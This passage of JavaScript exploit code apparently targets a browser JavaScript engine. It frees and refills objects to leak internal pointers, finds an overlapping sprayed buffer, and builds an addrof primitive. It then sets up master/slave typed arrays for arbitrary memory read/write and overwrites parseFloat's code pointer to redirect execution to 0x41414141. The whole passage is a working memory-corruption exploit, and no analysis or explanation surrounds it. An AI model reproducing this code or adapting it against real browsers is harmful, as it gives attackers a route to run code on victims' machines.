0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2, 0x2,
];
print("leaking JSObject data");
// Parses the string into a bunch of uint32s
for (var i = 0; i < 0x38; i += 4) {
var ptr = 0;
var val = '';
ptr = refill_0.slice(i, i + 4);
for (var j = 3; j >= 0; j--) {
var char = ptr.charCodeAt(j).toString(16);
if (char.length == 1)
char = '0' + char;
val += char;
}
val = parseInt(val, 16);
jsobj_leak_data[i / 4] = val;
}
var shape = toint64(jsobj_leak_data[(24 - 0x10) / 4], jsobj_leak_data[(28 - 0x10) / 4]);
var prop = toint64(jsobj_leak_data[(32 - 0x10) / 4], jsobj_leak_data[(36 - 0x10) / 4]);
var values = toint64(jsobj_leak_data[(56 - 0x10) / 4], jsobj_leak_data[(60 - 0x10) / 4]);
print("shape @ " + shape.toString(16));
print("prop @ " + prop.toString(16));
print("values @ " + values.toString(16));
print("freeing target twice and refilling with two JSObjects");
refill_1 = 0;
refill_1 = [0x1337, 0x1337];
refill_0 = 0;
refill_0 = [0x71717171];
print("freeing object again and refilling with ArrayBuffer data");
refill_1 = 0;
// Need to free other JSObject size things as well to cause the
// data to overlap and not the JSObject of the ArrayBuffer
x = 0;
y = 0;
refill_1 = new Uint32Array(0x48 / 4);
refill_1.fill(0x41414141);
print("crafting JSObject with values pointing to spray buffer data");
jsobj_leak_data[(56 - 0x10) / 4] += 0x2000;
overlap_addr = values + 0x2000;
for (var i = 4; i < 0x48 / 4; i++) {
refill_1[i] = jsobj_leak_data[i - 4];
}
refill_1[0] = 0x51414141;
refill_1[1] = 0x00020d00;
refill_1[2] = 0x41414141;
refill_1[3] = 0x41414141;
print("new values @ " + overlap_addr.toString(16));
print("finding overlap");
refill_0[0] = 0x1; //modify spray value, not modify free addr
var overlap_buf;
var ovelap_index;
for (var i = 0; i < spray.length; i++) {
for (var j = 0; j < (0x1000 / 4); j++) {
if (spray[i] && spray[i][j] == 0x1) {
overlap_buf = spray[i];
overlap_index = j;
print("overlap found");
print("spray index = " + i.toString(16));
print("index into buffer = " + j.toString(16));
}
}
}
function addrof(obj) {
refill_0[0] = obj;
var ret = toint64(overlap_buf[overlap_index], overlap_buf[overlap_index + 1]);
refill_0[0] = 0;
return ret;
}
print("crafting master and slave typed arrays");
master_addr = addrof(master);
slave_addr = addrof(slave);
parseFloat_addr = addrof(parseFloat);
print("master addr = " + master_addr.toString(16));
print("slave addr = " + slave_addr.toString(16));
print("parseFloat addr = " + parseFloat_addr.toString(16));
print("setting master->values to slave addr");
// Point our crafted JSObject values to the address of master->values
refill_1[(56) / 4] = (master_addr & 0xffffffff) + 56;
refill_0[0] = slave;
//refill_1[(56) / 4] = overlap_addr;
print("setting up arb read/write");
function write64(addr, val) {
master[56 / 4] = (addr & 0xffffffff) >>> 0;
master[60 / 4] = addr / 0x100000000;
slave[0] = val & 0xffffffff;
slave[1] = val / 0x100000000;
}
print("jumping to 0x41414141");
write64(parseFloat_addr + 0x30, 0x414141414141);
parseFloat();
print("DONE");